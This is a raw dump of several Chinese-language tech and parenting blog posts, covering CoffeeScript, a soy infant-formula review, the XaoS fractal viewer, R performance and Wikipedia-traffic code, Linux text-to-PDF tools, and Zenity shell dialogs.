檔案編譯成 .js 檔，假設我們有一個 func.coffee 檔案，內容如下：\nsquare = (x) -\u0026gt; x * x cube = (x) -\u0026gt; square(x) * x 要編譯這個檔案，就執行：\ncoffee -c func.coffee 這樣就會編譯出一個 func.js 檔，其檔案內容就是可以執行的 JavaScript：\n(function() { var cube, square; square = function(x) { return x * x; }; cube = function(x) { return square(x) * x; }; }).call(this); 這裡只簡單介紹 CoffeeScript 的概念，詳細的內容可以參考 CoffeeScript 的網站。以下還有一些提供線上免費閱讀的書籍可以參考。\nCoffeeScript Ristretto CoffeeScript Ristretto 這本書完整介紹 CoffeeScript 的各種功能，內容豐富且俱有深度，特別是針對函數的部分有比較多的解說，這本書適合的讀者有：\n不只是學習 CoffeeScript 的基本語法，還想要徹底了解 CoffeeScript 的人。 已經在使用 CoffeeScript 程式語言、但是還想要更深入了解的人。 學習更多關於函數在城市設計上的使用方法的人。 在這本書的網頁上，你可以看到它的售價，但是它也提供免費線上閱讀，由於整本書的內容並不是很多，大約 140 頁左右，個人認為看線上版的應該就可以了。\nSmooth CoffeeScript Smooth CoffeeScript 是一本包含很多練習題的 CoffeeScript 入門書籍，可以讓你透過這些實際的練習快速學習 CoffeeScript。\n在這本書的網頁上，你可以選擇以傳統的 PDF 或 HTML 格式下載整本書，但是他還提供了一個更好的閱讀方式就是線上互動是閱讀（Interactive HTML5 Edition），這個版本可以讓你在瀏覽器中一邊閱讀書本的內容，一邊直接修改書中的範例程式碼，並且直接執行然後觀看結果，這樣可以免去複製與貼上範例程式碼的麻煩動作，讓學習更有效率。\nThe Little Book on CoffeeScript 這本歐萊禮的 The Little Book on CoffeeScript 大概就不必介紹了吧，不過網頁上的免費版不是最新的版本（最新的要花錢買），縱使如此，這本舊版的內容還是有一些參考價值，像語法介紹的部分，這本書就寫的很簡潔，講解的也很透徹。\n參考資料 CodeCondo ","permalink":"https://blog.gtwang.org/programming/coffeescript-javascript/","summary":"\u003cp\u003e\u003ca href=\"https://coffeescript.org/\"\u003eCoffeeScript\u003c/a\u003e 是一種程式語言，他的程式碼可以編譯成 JavaScript，其語言主要的目的在於讓程式撰寫者可以使用更簡單的方式撰寫 JavaScript。\u003c/p\u003e\n\u003cp\u003eCoffeeScript 的原則是：「它就是 JavaScript！」，也就是說每一段 CoffeeScript 程式碼都會被編譯成對應的 JavaScript 程式碼，所有的程式在執行時都已經被轉換為 JavaScript 了，不需要在執行時多花費 interpretation 的時間，並且 CoffeeScript 亦可以與現有的 JavaScript 函式庫緊密的結合。另外，其編譯出的程式碼也會自動排版，方便閱讀，而且其程式碼的執行效率通常也比直接撰寫的 JavaScript 高。\u003c/p\u003e","title":"CoffeeScript：讓撰寫 JavaScript 更簡單程式語言"},{"content":"很多人一定沒聽過亞培經典SP黃豆蛋白基質嬰兒配方奶粉。我就是一個最好例子。因為對牛奶過敏的寶寶好像不多，市面上對這款奶粉需求的少，連亞培自己的網站都沒有介紹。所以很多媽媽也都不知道市面上有這樣的產品，當寶寶對牛奶過敏時，也不知道還有這款奶粉可以試試。\n當初我的寶寶在月子中心護理人員的推薦之下，他的第一罐奶粉是雀巢水解蛋白，很多人推薦這款奶粉，連小兒科醫師也推薦它，它是德國進口，水解蛋白分子小，容易吸收。可惜，我的小寶貝還是跟牛奶無緣，連雀巢水解蛋白喝了還是過敏，甚至造成腸絞痛及腸黏膜剝落，大便有紅色血絲，讓我這個當媽媽的，看了真的很心疼。難過得頻頻掉淚。小兒科醫師說這是體質造成的，天生註定如此，長大之後慢慢就會改善。\n因為寶寶不能喝配方奶，就只能喝母奶。因為寶寶還小，還無法吃副食品，如果沒有母奶，就只能餓肚子的情況下，我這個新手媽媽的心裡真的壓力超大的。每天想著就是如何吃讓自己的母奶多些，只好拼命吃、睡和餵奶，其餘的事就勞煩老公和婆婆，全家都精神緊繃，生怕我一沒母奶，寶寶就得餓肚子了。\n還好，有貴人相助，寶寶滿月之後，去新竹北埔濟化宮拜拜（其實那次去拜拜是要給神明收契子）算是神明有保佑，就這樣巧遇有緣人。她是一位跟我一樣親餵母奶的媽媽，相談之下，才知道原來市面上有這樣的產品，給對牛奶過敏的寶寶喝的。\n為何當初沒有醫護人員跟我提起有這種配方奶呢？原來喝它的人真的少之又少，一般的藥局也沒賣，當初我就是跑了竹北各大藥局及量販店，都找不到這款奶粉，最後是在芳鄰藥局找到的，原來亞培經典系列奶粉是跟芳鄰藥局簽約，只有芳鄰藥局有賣。（聽藥局人員說，好像大潤發有賣，不過我沒去求證過，不是很確定）\n有了亞培經典SP奶粉，我才脫離只能餵母奶的痛苦日子，因為寶寶可以喝配方奶之後，我就輕鬆多了，不用每天精神緊繃的過日子，母奶加配方奶這樣的搭配，寶寶長得更好，我心上的大石頭終於放下。帶寶寶出門，就方便多了。只要著帶配方奶加冷熱開水，要喝母奶或配方奶都好。畢竟出門時，有時要餵母奶還挺不方便的。當了媽媽之後，才知道全母奶的媽媽有多偉大，我覺得我真的做不到。尤其夏天親餵母奶真的很痛苦，除非你一天24小時都吹冷氣(偏偏剛生產完吹冷氣，其實對產婦不好），不然夏天一邊親餵母奶，寶寶和我兩個人都滿頭大汗，真是難受。\n很多人建議我先擠出來，再瓶餵。不過，我還是覺得親餵比較好，畢竟我的寶寶有吐奶問題，加上我又不是母奶多到喝不完的體質，得來不易的母奶，如果被寶寶吐出來，或是溫了之後，沒喝完，真的好可惜，相信大多數的媽媽都會覺得母奶真的很珍貴，畢竟那是用媽媽的身體換來的。\n我的寶寶能夠適時的換了亞培經典SP奶粉，真的是太幸運了。因為後來婆婆的朋友得知我的寶寶是喝黃豆的奶粉，才說，她的大兒子也是對牛奶過敏，試了很多奶粉都不行，最後也是喝黃豆做的配方奶，聽說那時候是進口的，非常的貴。至於，她說的是不是亞培經典SP，我就不清楚了。畢竟30多年前，對牛奶過敏的寶寶應該更少，喝豆製配方奶的應該更少。加上那個年代，進口的東西，是有錢人家才買得起的。可以想見，當時她的情況應該比我更辛苦，心裡壓力更大。相較之下，我覺得自己幸運多了，我還有母奶可以餵，不一定要去買當時超級昂貴的進口豆製奶粉。加上現在的亞培經典SP價格非常平價，900克一罐才649元，常有買六送一的促銷活動。\n所以，亞培經典SP是我寶寶的救星，希望多一些媽媽可以知道這項產品，能夠幫助更多需要它的寶寶。功德無量是也。\n上次跟芳鄰藥局人員要了亞培經典SP的DM，原來是彩色的，我把它掃成圖檔，變成黑白的。這款配方奶是針對牛奶蛋白過敏與乳糖不耐症寶寶設計的，全素寶寶可以喝的配方奶。\nDM DM DM ","permalink":"https://blog.gtwang.org/children/bright-choice-sp-vegetable-soy-milk/","summary":"\u003cp\u003e很多人一定沒聽過亞培經典SP黃豆蛋白基質嬰兒配方奶粉。我就是一個最好例子。因為對牛奶過敏的寶寶好像不多，市面上對這款奶粉需求的少，連亞培自己的網站都沒有介紹。所以很多媽媽也都不知道市面上有這樣的產品，當寶寶對牛奶過敏時，也不知道還有這款奶粉可以試試。\u003c/p\u003e","title":"亞培經典 SP 黃豆奶粉：牛奶過敏體質寶寶的救星"},{"content":"GNU XaoS 是一個即時性的碎形（fractal，關於碎形可以參考 Wiki 的說明）繪製軟體，可以藉由滑鼠操控來觀察圖形中任何的部位，當使用滑鼠放大時，可以發現其圖案在更細微的地方會不斷地重複，這種圖形就是碎形。\nXaoS 是開放原始碼的免費軟體，它的執行速度真的很快，放大縮小也非常流暢，若要寫類似軟體的人，可以好好研究他的程式碼。\n這個軟體同時支援 Windows 、Mac OS 與 Linux 等平台，若想要使用可以直接由其官方網站上下載。\n在 XaoS 的 GitHub 上面有提供 Linux、Windows 與 macOS 平台的安裝檔；而如果是在 Ubuntu Linux 下，也可用 apt 安裝：\napt-get install xaos XaoS 執行起來就像這樣：\n視窗中所畫得圖形就是碎形，使用者可以用滑鼠來控制，左鍵放大、右鍵縮小、中鍵平移。另外，將滑鼠移到視窗的上方就會出現選單，這個軟體提供很多選項，有興趣的人可以自己玩玩看。\n除了預設的圖形外，使用者可以更改 Formula 來畫出不同的圖形：\n使用者也可以編寫指令稿（script），交給 XaoS 畫成動畫，這裡示範指令搞得使用方式。XaoS 的指令稿是一種特別的 xaf 格式：\n(initstate) (defaultpalette 0) (formula \u0026#39;mandel) (maxiter 1100) (view -0.75 0 2.5 2.5) (morphview -1.5961981917434695986 1.4487808847382706573E-17 5.955522533462875856E-16 5.9413948400953091322E-16) (usleep 50000000) (morphview -0.75 0 2.5 2.5) (usleep 50000000) 裡面就是寫一些可以控制 XaoS 的指令，將這些指令儲存在一個 xaf 檔案中（如 script.xaf），再使用 XaoS 提供的指令功能將其繪製成圖檔：\n# 以 XaoS 執行 xaf 指令稿 xaos -render script.xaf -basename anim 或是開啟 XaoS 後，從 Misc 選單中選擇 Render animation，再設定要讀取得指令稿與輸出的圖檔位置：\n按下 OK 後，XaoS 就會幫你畫成一系列的圖檔，然後自己再透過 ffmpeg 將畫出的圖檔轉為影片檔就大功告成了：\n# 將一系列圖片轉為影片 ffmpeg -i anim%05d.png -qscale 1 movie.mp4 這是製作好的影片：\n","permalink":"https://blog.gtwang.org/funny/gnu-xaos-interactive-fractal-zoomer/","summary":"\u003cp\u003e\u003ca href=\"https://xaos-project.github.io/\"\u003eGNU XaoS\u003c/a\u003e 是一個即時性的碎形（fractal，關於碎形可以參考 \u003ca href=\"https://zh.wikipedia.org/wiki/%E5%88%86%E5%BD%A2\"\u003eWiki 的說明\u003c/a\u003e）繪製軟體，可以藉由滑鼠操控來觀察圖形中任何的部位，當使用滑鼠放大時，可以發現其圖案在更細微的地方會不斷地重複，這種圖形就是碎形。\u003c/p\u003e","title":"GNU XaoS：即時的碎形繪製軟體（An Interactive Fractal Zoomer）"},{"content":"R 是一個統計計算語言，雖然其功能強大，但是長久以來存在一個問題（也是所有高階語言共同的問題），就是程式執行的速度太慢，對於一些較耗時的程式，需要執行很久。\n很幸運的，R 從 2.13 版開始加入了一個內建的標準套件 compiler，這個套件顧名思義就是可以將 R 的程式碼編譯後再執行，可增加執行的速度，因為使用方式非常簡單，程式設計者可以在幾乎不更動原始程式碼的情況下，讓程式的執行速度有明顯的提昇，這次的 2.13 版可能是 R 有史以來最有意義的一次更新。\n下面是 R 官方 NEWS 中的敘述：\nPackage compiler is now provided as a standard package. See ?compiler::compile for information on how to use the compiler. This package implements a byte code compiler for R: by default the compiler is not used in this release. See the \u0026lsquo;R Installation and Administration Manual\u0026rsquo; for how to compile the base and recommended packages.\n依照這個敘述來看，這個編譯器可以將 R 的程式碼編譯成位元碼（byte code），但是目前這個編譯器還沒有被內建的基本套件使用，不過我們可以使用這個新套件來將我們自己寫的 R 程式編譯成位元碼，這樣可以非常輕鬆的提高程式的執行速度。這裡我們介紹如何使用 R 的編譯器來增加程式執行的效率，並測試各種情況下的執行速度。\n使用 R 的 compiler 套件 首先定義一些測試用的函數：\nf \u0026lt;- function(n, x=1) for (i in 1:n) x=1/(1+x) g \u0026lt;- function(n, x=1) for (i in 1:n) x=(1/(1+x)) h \u0026lt;- function(n, x=1) for (i in 1:n) x=(1+x)^(-1) j \u0026lt;- function(n, x=1) for (i in 1:n) x={1/{1+x}} k \u0026lt;- function(n, x=1) for (i in 1:n) x=1/{1+x} 接下來先測試正常狀況執行速度，我們使用 rbenchmark 這個套件來測試，使用前要先安裝 rbenchmark 套件：\ninstall.packages(c(\u0026#34;inline\u0026#34;, \u0026#34;Rcpp\u0026#34;)) 接著使用 rbenchmark 來測試：\nlibrary(rbenchmark) N \u0026lt;- 1e6 benchmark(f(N,1), g(N,1), h(N,1), j(N,1), k(N,1), columns=c(\u0026#34;test\u0026#34;, \u0026#34;replications\u0026#34;, \u0026#34;elapsed\u0026#34;, \u0026#34;relative\u0026#34;), order=\u0026#34;relative\u0026#34;, replications=10) 這是測試的結果：\ntest replications elapsed relative 1 f(N, 1) 10 14.214 1.000000 5 k(N, 1) 10 14.262 1.003377 4 j(N, 1) 10 15.574 1.095680 2 g(N, 1) 10 16.308 1.147320 3 h(N, 1) 10 20.658 1.453356 接下來我們來測試加入 R 編譯器之後的效果，R 編譯器是在 2.13 版以後才有，所以若是您的 R 版本比較舊，就要先把 R 更新至 2.13 以後的版本才能使用編譯器。首先使用 cmpfun() 函數來將上面定義的函數進行編譯：\nlibrary(compiler) lf \u0026lt;- cmpfun(f) lg \u0026lt;- cmpfun(g) lh \u0026lt;- cmpfun(h) lj \u0026lt;- cmpfun(j) lk \u0026lt;- cmpfun(k) 接著用 rbenchmark 來測試：\nN \u0026lt;- 1e6 benchmark(f(N,1), g(N,1), h(N,1), j(N,1), k(N,1), lf(N,1), lg(N,1), lh(N,1), lj(N,1), lk(N,1), columns=c(\u0026#34;test\u0026#34;, \u0026#34;replications\u0026#34;, \u0026#34;elapsed\u0026#34;, \u0026#34;relative\u0026#34;), order=\u0026#34;relative\u0026#34;, replications=10) 這是測試的結果：\ntest replications elapsed relative 10 lk(N, 1) 10 5.447 1.000000 6 lf(N, 1) 10 5.530 1.015238 9 lj(N, 1) 10 5.541 1.017257 7 lg(N, 1) 10 5.567 1.022030 8 lh(N, 1) 10 7.332 1.346062 5 k(N, 1) 10 14.245 2.615201 1 f(N, 1) 10 14.490 2.660180 4 j(N, 1) 10 15.780 2.897008 2 g(N, 1) 10 16.484 3.026253 3 h(N, 1) 10 20.882 3.833670 從這個結果來看，編譯後再執行的執行的速度是沒有編譯的兩倍以上，看起來使用 R 編譯器將 R 的程式碼編譯成位元碼之後再執行，確實是可以明顯提高執行的速度，另外，因為程式碼寫法的不同所造成的執行效率差異，在編譯後也變小了，這樣的方式感覺很不錯，只需要對程式碼做非常少許的變動，就能明顯提高執行效率，對大多數的統計研究人員而言是一大福音。\n使用 Rcpp 與 inline 介紹完 compiler 套件的用法，接下來我們來比較編譯成位元碼與機械碼的執行速度差異，在 compiler 套件問世之前，要加速 R 的執行速度都是使用 C 語言編寫程式較耗時的部份，再編譯成機械碼給 R 執行，使用前要先安裝 inline 與 Rcpp 套件：\ninstall.packages(c(\u0026#34;inline\u0026#34;, \u0026#34;Rcpp\u0026#34;)) 接下來就可以使用 C 語言編寫程式了，以下是使用 C 語言的版本，首先定義函數：\nlibrary(inline) ### and define our version in C++ src \u0026lt;- \u0026#39;int n = as \u0026lt; int \u0026gt; (ns); double x = as \u0026lt; double \u0026gt; (xs); for (int i = 0; i \u0026lt; n; i++) x=1/(1+x); return wrap(x); \u0026#39; l \u0026lt;- cxxfunction(signature(ns=\u0026#34;integer\u0026#34;, xs=\u0026#34;numeric\u0026#34;), body=src, plugin=\u0026#34;Rcpp\u0026#34;) 再用 rbenchmark 測試一次：\nbenchmark(f(N,1), g(N,1), h(N,1), j(N,1), k(N,1), l(N,1), lf(N,1), lg(N,1), lh(N,1), lj(N,1), lk(N,1), columns=c(\u0026#34;test\u0026#34;, \u0026#34;replications\u0026#34;, \u0026#34;elapsed\u0026#34;, \u0026#34;relative\u0026#34;), order=\u0026#34;relative\u0026#34;, replications=10) 測試結果：\ntest replications elapsed relative 6 l(N, 1) 10 0.153 1.00000 7 lf(N, 1) 10 6.008 39.26797 10 lj(N, 1) 10 6.041 39.48366 8 lg(N, 1) 10 6.140 40.13072 11 lk(N, 1) 10 6.254 40.87582 9 lh(N, 1) 10 7.738 50.57516 5 k(N, 1) 10 14.885 97.28758 1 f(N, 1) 10 15.359 100.38562 4 j(N, 1) 10 16.405 107.22222 2 g(N, 1) 10 17.385 113.62745 3 h(N, 1) 10 22.045 144.08497 畫成圖形：\n這個結果可以看出位元碼與機械碼之間的差異，大約相差 40 倍，比起原來的程式甚至有上百倍的差異，所以若是真的要算很久的程式，就可以考慮使用 C 語言的方式，當然若是只是算個幾分鐘就沒有必要花個幾十分鐘甚至幾小時來寫 C 語言的程式，直接編譯成位元碼執行就好了，改個幾小時的程式，加速之後其實只跑幾分鐘，其實反而更沒效率。\n另外補充一點，這裡我們所拿來測試用的函數並不是真實的程式會用的函數，因為真的要算這樣的值不會用迴圈，直接用向量運算的方式會快很多，所以在實際的程式中，使用編譯器所提昇的執行度速可能不會像這個例子一樣這麼高。\n參考資料 eddelbuettel eddelbuettel ","permalink":"https://blog.gtwang.org/r/r-compiler-speed-up/","summary":"\u003cp\u003e\u003ca href=\"https://www.r-project.org/\"\u003eR\u003c/a\u003e 是一個統計計算語言，雖然其功能強大，但是長久以來存在一個問題（也是所有高階語言共同的問題），就是程式執行的速度太慢，對於一些較耗時的程式，需要執行很久。\u003c/p\u003e","title":"R Compiler 套件：加速 R 程式碼的執行速度"},{"content":"Wikipedia 是一個全世界人都在使用的百科全書，我們可以從 Wikipedia 上面各個主題的使用狀況來分析出一些有趣的結果，例如軟體的普及程度等，另外也可以用來作為判斷軟體是否具有發展性的一個參考。\n這裡我們針對矩陣計算軟體、作業系統等議題，分別使用 R 來抓取 Wikipedia 上面的使用資訊，並畫出圖表來分析，看看這些領域目前的情況。\n矩陣計算軟體 首先來看 R 軟體本身的情況，下面這張是 R 語言近幾年在 Wikipedia 上面被查詢的狀況：\n由這張圖可以看出來在這幾年中對 R 語言有興趣的人有成長的趨勢，而在 2009 年一月份因為紐約時報登了一篇關於 R 的文章，所以當月的瀏覽量突然暴增，由於增加的量相當驚人，原作者還一度以為是 bug。\n接下來我們再來看看 Octave 與 Scilab 兩個軟體的情況，這兩個軟體也是跟 R 很類似的軟體，首先是 Octave：\n由圖中情況看起來，似乎對 Octave 有興趣的人沒有 R 來的多，再來看看 Scilab：\n看起來比 Octave 更慘，如果您正在考慮學習哪一種矩陣計算工具，這個結果值得參考一下，畢竟使用者的多寡對於軟體的發展有一定的影響力，使用者太少的軟體，其發展與除錯的速度相對的會比較遲緩。\n作業系統 首先來看最近很熱門的 Android：\n看來從 Google 一推出後，對於 Android 有興趣的人不斷上升，到了 2011 之後，似乎增加的速減緩了。接著來看 Linux：\n看起來都是很穩定的樣子。跟 Linux 很像的 FreeBSD：\n也是很穩定沒什麼變化，但是跟 Linux 比起來就差一大截。接著看一下微軟的 Windows：\n可能微軟的 Windows 已經家喻戶曉了，所以上 Wikipedia 查 Windows 的人沒有非常多，跟 Linux 差不多。最後來看個有趣的 iPad：\n在 2010 年年初 iPad 剛上市時造成轟動，瞬間的查詢量非常高，隨後就降下來，跟 Google 推出的 Android 相比截然不同，也許是兩家公司的行銷手法不一樣所導致的。\nR 程式碼 以下是用來分析的 R 函數原始程式碼：\nwikiStat \u0026lt;- function (query, lang = \u0026#39;en\u0026#39;, monback = 12, since = Sys.Date() ) { #load packages require(mondate) require(XML) namespace \u0026lt;- c(\u0026#34;a\u0026#34; = \u0026#34;https://www.w3.org/1999/xhtml\u0026#34;) wikidata \u0026lt;- data.frame() #iterate \u0026#34;monback\u0026#34; number of months back for (i in 1:monback) { #get number of days in a given month and create a vector curdate \u0026lt;- strptime(mondate(since) - (i - 1), \u0026#34;%Y-%m-%d\u0026#34;) previous \u0026lt;- strptime(mondate(since) - (i - 2), \u0026#34;%Y-%m-%d\u0026#34;) noofdays \u0026lt;- round(as.numeric(previous - curdate), 0) days \u0026lt;- seq(from = 1, to = noofdays, by = 1) #build url if(curdate$mon + 1 \u0026lt; 10) { dateurl \u0026lt;- paste(as.character(curdate$year + 1900), \u0026#34;0\u0026#34;, as.character(curdate$mon + 1), sep = \u0026#34;\u0026#34;) } else { dateurl \u0026lt;- paste(as.character(curdate$year + 1900), as.character(curdate$mon + 1), sep = \u0026#34;\u0026#34;) } url \u0026lt;- paste(\u0026#34;https://stats.grok.se/\u0026#34;, lang, \u0026#39;/\u0026#39;, dateurl, \u0026#39;/\u0026#39;, query, sep = \u0026#34;\u0026#34;) #get and parse a wikipedia statistics webpage wikitree \u0026lt;- xmlTreeParse(url, useInternalNodes=T) #find nodes specifying traffic traffic \u0026lt;- xpathSApply(wikitree,\u0026#34;//a:li[@class=\u0026#39;sent bar\u0026#39;]/a:p\u0026#34;, xmlValue, namespaces = namespace) #edit obtained strings (sometimes its in the format # of e.g. 7.5k meaning 7500) traffic \u0026lt;- gsub(\u0026#34;.\u0026#34;, \u0026#34;\u0026#34;, traffic) traffic \u0026lt;- gsub(\u0026#34;k\u0026#34;, \u0026#34;00\u0026#34;, traffic) traffic \u0026lt;- as.numeric(traffic) #it seems that there is some kind of a bug in wikipedia statistics #and the results are shifted by one day in a month - this is a fix if(length(traffic) \u0026gt; noofdays) { traffic \u0026lt;- traffic[2:length(traffic)] } #create daily dates relating to traffic vector #and create a dataframe days \u0026lt;- seq(from = 1, to = length(traffic), by = 1) yearmon \u0026lt;- rep(paste(curdate$year + 1900, curdate$mon + 1, sep = \u0026#34;-\u0026#34;), length(traffic)) date \u0026lt;- as.Date(paste(yearmon, days, sep = \u0026#34;-\u0026#34;), \u0026#34;%Y-%m-%d\u0026#34;) wikidata \u0026lt;- rbind(wikidata, data.frame(date, traffic)) } #remove rows that are missing (due to the bug?) wikidata \u0026lt;- wikidata[!is.na(wikidata$date),] #return dataframe return(wikidata) } wikiPlotStat \u0026lt;- function(wikitraffic, title = \u0026#34;Wikipedia statistics\u0026#34;) { require(ggplot2) #create a plot wikiplot \u0026lt;- ggplot() + geom_bar(aes(x = date, y = traffic, fill = traffic), stat = \u0026#34;identity\u0026#34;, data = wikitraffic) + opts(title = title) #...with no legend and a theme that fits colours of my blog ;) wikiplot \u0026lt;- wikiplot + theme_bw() + opts(legend.position = \u0026#34;none\u0026#34;) return(wikiplot) } 在使用前要先確定 mondate 與 XML 這兩的套件有沒有裝，若是沒有裝就要先裝才能使用：\ninstall.packages(\u0026#34;mondate\u0026#34;) install.packages(\u0026#34;XML\u0026#34;) 然後就將上面兩個函數的定義複製貼到 R 中執行，或是存成一個 R 程式檔 script.R，使用 source 的方式：\nsource(\u0026#34;script.R\u0026#34;) 接下來就可以開始分析了，例如要分析 R_(programming_language) 在 Wikipedia 上面被查詢的狀況：\nar \u0026lt;- wikiStat(\u0026#34;R_(programming_language)\u0026#34;, monback = 45, lang= \u0026#39;en\u0026#39;) wikiPlotStat(ar, \u0026#34;Wikipedia search traffic for \u0026#39;R (programming language)\u0026#39;\u0026#34;) 因為在分析時 R 要從網路上抓取資料，所以分析的時間會比較久，網路比較慢的人要比較有耐心。\n","permalink":"https://blog.gtwang.org/programming/wikipedia-r-analysis/","summary":"\u003cp\u003e\u003ca href=\"https://www.wikipedia.org/\"\u003eWikipedia\u003c/a\u003e 是一個全世界人都在使用的百科全書，我們可以從 Wikipedia 上面各個主題的使用狀況來分析出一些有趣的結果，例如軟體的普及程度等，另外也可以用來作為判斷軟體是否具有發展性的一個參考。\u003c/p\u003e","title":"使用 R 分析 Wikipedia 的搜尋情形"},{"content":"一般若是要將文件列印出來或是分享給不同平台的使用者時（例如放在 iPad 或其他平板電腦上），將文件排版後轉換為跨平台的 PDF 檔是個不錯的選擇，在 Windows 底下我們可以使用 MS Office 將文件轉換為 PDF 檔，而在 Linux 中其實有更多工具可以使用。\n這裡介紹一些在 Linux 下可以將各種格式的文件（包含文字、程式碼、網頁與圖形等格式）轉換為 PS 或 PDF 檔的工具，包含各種辦公軟體與命令列小工具，依照不同的需求使用者可以選擇不同的工具來使用。\nLibreOffice 在 Linux 最容易上手的 PDF 轉換工具，就是 LibreOffice（原來稱作 OpenOffice，現在改名為 LibreOffice）了，使用方式很簡單，將文字編輯好之後，使用上方工具列的「直接繪出成 PDF」按鈕，就可以轉換為 PDF 擋了，若是。程式碼的話建議使用 Mono 系列的字型，這樣才會比較容易閱讀。\n若是排版程式碼的話，建議使用 indent 這個小工具自動先將程式碼的縮排處理好，在貼上去 LibreOffice 或比較省事，例如要排版 Java 的程式碼檔案 pyramid.java：\n# 自動排版程式碼 indent pyramid.java 這樣 indent 就會自動處理 pyramid.java 中的程式碼縮排，然後再將 pyramid.java 的內容貼上來。\n另外如果您習慣用 Vim 的話，也可以直接在 Vim 中進行程式碼的縮排，在 Vim 中縮排全部程式碼的指令是\ngg=G 做完之後就可以直接貼上 LibreOffice 了。\n這是 LibreOffice 輸出的 PDF 檔用 Linux 下的 Adobe Reader 開啟的情況：\n使用 LibreOffice 的優點是很簡單，要加入圖形或是文字都很容易，初學者幾乎不需具備任何 Linux 指令背景就可以使用；缺點就是需要人工手動排版，若是要排版的文件太多，就要花比較久的時間了。\na2ps a2ps 是個開放原始碼的命令列小工具，a2ps 代表 Any to PostScript，可用來將各種格式的文字或程式碼轉換成 PS 或其他的檔案格式（如 PDF 與 HTML 檔等），除了單純的文字轉換之外，a2ps 還可以替一些常用程式語言的程式碼加上關鍵字的標示，讓程式碼更容易閱讀。\n除了處理一般文字之外，a2ps 也支援圖形的處理，只是 a2ps 對於圖形的排版就沒有那麼好用，他只會將圖形轉為 PS 檔，至於擺放的位置就很難調整了。\n在使用 a2ps 時，若是原本的程式碼沒有排版，就要先使用 indent 或是 Vim 等程式先進行排版，再使用 a2ps 轉檔，其使用方式很簡單，直接將檔案餵給 a2ps 就可以了，例如若是要將 pyramid.java 這個程式碼檔案用 indent 排版後轉為 PS 檔：\nindent pyramid.java a2ps -o pyramid.ps pyramid.java 這樣會將 pyramid.java 轉換為 PS 檔輸出至 pyramid.ps，但是這樣 indent 會更動到原始的 pyramid.java 的檔案內容，若是不想更動到原始程式碼的內容，可以改用 pipe 的寫法：\nindent -st pyramid.c|a2ps -o pyramid.ps 若是要轉為 PDF 檔可以用 ps2pdf 將所產生的 PS 檔轉為 PDF，但通常我們只需要一個 PDF 檔就好，不需要 PS 檔，這時候可以這樣做：\nindent -st pyramid.c|a2ps -o -|ps2pdf - pyramid.pdf 這樣就可以直接產生 PDF 檔不用多產生一個不必要的 PS 檔。\n使用 a2ps 配合 indent 的優點在於處理大量程式碼的時候，可以省下很多人工排版的時間，例如我們有幾個 Java 與 C++ 的程式碼檔案要排版，就直接把所有的檔案名稱傳給 a2ps 就可以了，它會很聰明的判斷檔案是哪一種語言，並將各種程式語言的程式碼加上關鍵字的標示，例如：\na2ps -o - code1.java code2.java code3.cpp code4.cpp|ps2pdf - output.pdf 這樣 a2ps 就會把所有輸入的原始碼檔案自排版好後，輸出到 ps2pdf 轉為 PDF 檔，這是所產生的 output.pdf 檔用 Adobe Reader 開起來的情況：\na2ps 經過筆者測試，無法處理中文，也就是說程式碼中有中文的話就會變成亂碼，這時候可能就要改用 LibreOffice 了，而若是您的系統語系預設是中文的話，在使用 a2ps 時也會造成日期變成亂碼的情形，轉出來的 PDF 就會像這樣：\n這時候可以在執行 a2ps 之前先更改語系：\nexport LANG=C 這樣再執行 a2ps 時，就會以英文的方式顯示日期。\n","permalink":"https://blog.gtwang.org/useful-tools/convert-text-source-code-to-pdf-ps/","summary":"\u003cp\u003e一般若是要將文件列印出來或是分享給不同平台的使用者時（例如放在 iPad 或其他平板電腦上），將文件排版後轉換為跨平台的 PDF 檔是個不錯的選擇，在 Windows 底下我們可以使用 MS Office 將文件轉換為 PDF 檔，而在 Linux 中其實有更多工具可以使用。\u003c/p\u003e","title":"將各種格式的文字或程式碼轉為 PS 或 PDF 檔的小工具"},{"content":"在編寫與使用者互動的指令稿（shell script）時，傳統的作法都是在 console 中使用一般的文字模式顯示與讀取資料，這種程式在使用起來常常不如圖形使用者介面的程式直覺，而若是要加入圖形使用者介面，程式開發者必須熟悉圖形使用者介面函式庫（例如 GTK 與 Qt 等）的使用方式，並且還要加入大量的程式碼，所以通常小程式都沒有圖形使用者介面。\nZenity 是一個專門用於指令稿（shell script）或命令列（command）的圖形使用者介面工具，他可以很快速的建立下列簡單的圖形介面對話方塊（dialog）：\n顯示訊息（Message） 錯誤訊息（Error） 一般訊息（Information） 詢問訊息（Question） 警告訊息（Warning） 輸入文字（Text entry） 輸入密碼（Password） 選擇檔案（File selection） 選擇日期（Calendar） 選擇指定的選項（List） 選擇數值或比例（Scale） 顯示進度（Progress） 選擇顏色（Color Selection） 系統通知區圖示（Notification icon） 有了 Zenity 這個工具，就可以為一般的 shell script 加入圖形使用者介面，提昇程式的品質，以下示範如何使用 Zenity。\n顯示訊息（Message） 一般 shell script 中最常用的應該就是顯示一些訊息給使用者，下面這個指令會顯示一個訊息方塊：\nzenity --info --text=\u0026#34;這是訊息內容\u0026#34; --title=\u0026#34;這是標題\u0026#34; 結果為\n若是要顯示錯誤訊息可使用：\nzenity --error --text=\u0026#34;這是錯誤訊息\u0026#34; 結果為\n若要顯示警告訊息：\nzenity --warning --text=\u0026#34;這是警告訊息\u0026#34; 結果為\n若要詢問使用者一個簡單的問題，可用：\nzenity --question --text=\u0026#34;這是一個簡單的問題\u0026#34; --ok-label=\u0026#34;沒問題啦\u0026#34; --cancel-label=\u0026#34;免談\u0026#34; 結果為\n而要取得使用者所選擇的答案，可以在執行完 zenity 之後，藉由讀取 $? 這個 Shell 變數取得 zenity 程式的傳回值，若為 0 代表 OK，若為 1 則代表 CANCEL，完整的程式就像這樣：\nzenity --question --text=\u0026#34;這是一個簡單的問題\u0026#34; --ok-label=\u0026#34;沒問題啦\u0026#34; --cancel-label=\u0026#34;免談\u0026#34; ANS=$? if [ \u0026#34;$ANS\u0026#34; -eq 0 ]; then echo \u0026#34;OK\u0026#34; else echo \u0026#34;CANCEL\u0026#34; fi 輸入文字（Text entry） 若是要使用者輸入文字，則可使用：\nzenity --title \u0026#34;輸入\u0026#34; --entry --text \u0026#34;請輸入文字：\u0026#34; 結果為\n使用者輸入文字後，會直接輸出在 console 中，若是要取得輸入的資料，可使用下面這個方式：\nTEXT=`zenity --title \u0026#34;輸入\u0026#34; --entry --text \u0026#34;請輸入文字：\u0026#34;` 這樣使用者所輸入的文字就會儲存在 TEXT 這個變數中。\n輸入密碼（Password） 若要讓使用者輸入密碼時，不要將密碼直接顯示在螢幕上，可以使用：\nzenity --password 結果為\n若要取得使用者輸入的密碼，則使用：\nPASSWORD=`zenity --password` 